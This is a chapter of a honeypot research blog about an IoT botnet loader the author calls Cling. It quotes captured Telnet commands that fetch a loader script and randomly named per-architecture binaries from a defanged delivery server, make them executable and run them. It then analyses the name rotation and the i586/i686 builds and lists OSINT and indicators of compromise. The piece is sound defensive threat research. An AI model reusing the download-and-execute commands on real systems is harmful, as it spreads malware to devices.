Cling · Chapter 18
Nothing to file
An already-infected IP connected to the honeypot's telnet and pasted a recipe all at once: eleven binaries, one per architecture, each with a made-up name that will never come round again. Two weighed exactly the same and looked like variants — they turned out to be the i586 and i686 builds of the same program. And behind them wasn't a stray bug: fifty-odd distinct binaries in two weeks. The whole delivery is built so that no blocklist, by name or by signature, catches anything.
When a new one drops, the first clues point to the usual: I take its hash, look it up on VirusTotal, and half a dozen engines call it «Mirai». And it's no debut: this family —I named it Cling, and the teardown will show why (the bug literally signs its work)— has been roaming VirusTotal for weeks. The reflex is to file it away: another server-flooding bot. But before filing it, I looked at how it had got in. And that's where things stopped adding up.
01The capture
It didn't come in guessing passwords. What came in was a device that was already infected: an IP, 85.11.167.132, connected to the honeypot's Telnet and, instead of exploring, pasted a string of commands all at once — the recipe that node of the delivery network fires at the next victim. This time, our honeypot was «the next one».
The commands, exactly as they arrived (grouped, because they came in a torrent):
# 1) try a loader script, with wget and with busybox wget in case one is missing
cd /tmp; rm -rf wget.sh
wget hxxp://118.145.196[.]225:800/wget.sh
busybox wget hxxp://118.145.196[.]225:800/wget.sh
sh wget.sh telnet
# 2) and then brute force: one binary per architecture, each with a DIFFERENT NAME
cd; rm -rf 5x2b96g7; wget …:800/yy7atflk/5x2b96g7; chmod 777 5x2b96g7; ./5x2b96g7 telnet
cd; rm -rf obn2b6lh; wget …:800/yy7atflk/obn2b6lh; chmod 777 obn2b6lh; ./obn2b6lh telnet
# … and so on with: v6kyo484 · kml6vqk1 · sevpqwpf · gr84is20 · 1t960jbq
# c2uytx93 · 6bpx8p17 · yee32jdx · 2sdqu9iu (eleven in total)It's the same shotgun strategy we already saw with Mirai and KHserver: fire all eleven and let whichever one matches the victim's CPU start up; the other ten fail silently. It tries wget and busybox wget —belt and braces, because a router might only have one— and launches each binary with an argument: telnet.
02Eleven names, and not one repeats
Look at the binary names: 5x2b96g7, obn2b6lh, yee32jdx… eight random characters, one per architecture. They're not descriptive —they don't say arm or mips— and they change with every delivery: when the same server served this recipe a few hours later, the names were different ones.
They all hang off a single place, the delivery server:
hxxp://118.145.196[.]225:800/wget.sh # the loader script
hxxp://118.145.196[.]225:800/yy7atflk/<name> # one binary per architectureAnd here's the first design detail: blocking by filename is completely useless. It's the same idea as the random gibberish in chapter 1 and the rotating names in chapter 3, but taken up to the server: every victim gets new names, so two infected devices never share the same trace on disk, and no rule looking for «a file called X» ever hits.
Fine, I thought — the name doesn't matter, that's what the hash is for, and that one's stable. I downloaded the three binaries my honeypot managed to save and set about filing their hashes.
03Two files, the same program
Of the three I captured, two weigh exactly the same —53,956 bytes, the two that file calls «Intel 80386»— and yet they have different hashes. Two files of the same size with different signatures smell like two versions, or a recompile to earn a fresh hash. I went to see what had changed, byte by byte.
size 53,956 B = 53,956 B # identical
bytes that differ 11,282 # 21% of the file — and nearly all of it codeEleven thousand bytes. Looks like a new variant. But a compiler is deterministic: the same source with the same options produces the same bytes, every time. If eleven thousand change, something changed — and when I looked at what, the answer wasn't «they recompiled it for the sake of it».
6bpx8p17: cmovbe ecx, eax # a CMOV instruction
c2uytx93: cmp eax, 0x1d + jbe # the same thing, done WITHOUT CMOVThat instruction, cmov, only exists from the i686 onwards (Pentium Pro, 1995); the i586 doesn't have it, and the compiler swaps it for a compare-and-jump. So they're not two recompiles of the same target: they're the i586 and i686 builds of the same program. The eleven thousand bytes change not because anyone touched the code, but because they're compiled for two different CPU generations.
And that clears up a loose end from the capture: why «one binary per architecture» left me with two «i386». They're not two copies of the same thing: they're 32-bit x86 for i586 and for i686, two of the eleven the loader hands out. file calls both of them «80386»; the instruction set gives them away. So this pair proves no hash rotation at all — it's a mirage, and a lesson in not over-reading a diff.
04A wave, not a stray bug
One note before opening it up, because it changes the scale of what we're looking at: this isn't a lost binary that happened to wander past. When I searched for the family on VirusTotal there wasn't one sample, or two — there were more than fifty, dated between 21 August and early September, compiled for half a dozen architectures (armv4l, v5, v6, v7, i586, i686, aarch64…).
A big wave, and still rolling. And this is where the real signature rotation lives —not in the two from before, but in the scale—: fifty-odd binaries with different hashes in two weeks. The hash comes from the content, so this isn't the same file renamed: they're new builds, served under names that change every few hours. No signature list keeps up with that. Our honeypot didn't catch «a bug»: it caught one frame of a campaign that had been running for two weeks. And all those samples, the fifty-something of them, share something that will be the key to the third piece — but for that, you first have to open one.
05The specimen
The three binaries the honeypot managed to save (of the eleven that were fired, only those three completed a distinct download). Static, stripped ELFs.
Cling · IoT bot VirusTotal calls it Mirai — but we'll see
- Type
- static ELF · stripped · aarch64 · i686 · i586
- Size
- 53,956 B (i386) · 62,384 B (aarch64)
- Delivery
- multi-architecture shotgun over Telnet · rotating names
- Function
- not what it looks like — torn apart in Ch. 19
- Vector tag
- telnet (the argument it's launched with)
- SHA-256
- 1631e63e… (aarch64) · 1b831a93… (i686) · 52bff4bf… (i586)
06Where does all this come from?
Passive OSINT — third-party databases, without touching either machine. There are two IPs in this capture, and they do different jobs:
| IP | Role | Who it is (OSINT) |
|---|---|---|
| 85.11.167.132 | the one that attacked (infected node) | only 22/tcp open · flagged malicious · AS197170 TechTies (NL), with SOFCOMPANY (BG) as maintainer — range registered in June 2026, eleven weeks before the attack |
| 118.145.196.225:800 | delivery server | Beijing Volcano Engine (ByteDance, CN) · 10 engines call it malicious |
07Indicators (IOCs)
From the infection. The ones from inside the bug are in the next chapter.
| Type | Value |
|---|---|
| Attacking IP (infected node) | 85.11.167.132 |
| Delivery server | hxxp://118.145.196[.]225:800/ (wget.sh · /yy7atflk/<name>) |
| Loader pattern | multi-architecture shotgun over Telnet · random 8-char rotating names · arg telnet |
| Family on VirusTotal | >50 trojan.mirai samples carrying the string .cling · 2026-08-21 → 09-01 · armv4l/5l/6l/7l · i586 · i686 · aarch64 |
| SHA-256 (they expire: it recompiles) | 1631e63ee373601c1f42f2674f996fc6c14dc6aebe45ca5d2395bf347a0e3661 (aarch64) 1b831a9366cd53a4127f885dab247bc2f0b3f661a7d9d9510bbd0a9f150bfb27 (i686) 52bff4bf58eb6031c16763b12b696e849a38f36e69c55402a444819cb9c1bc0e (i586) |
To be continued — and here comes the good part. I downloaded the three binaries, opened them expecting the usual DDoS arsenal… and there wasn't a single attack function. What there was instead was something I hadn't seen come through here before. In Chapter 19 I tear it apart. 🍯
Comments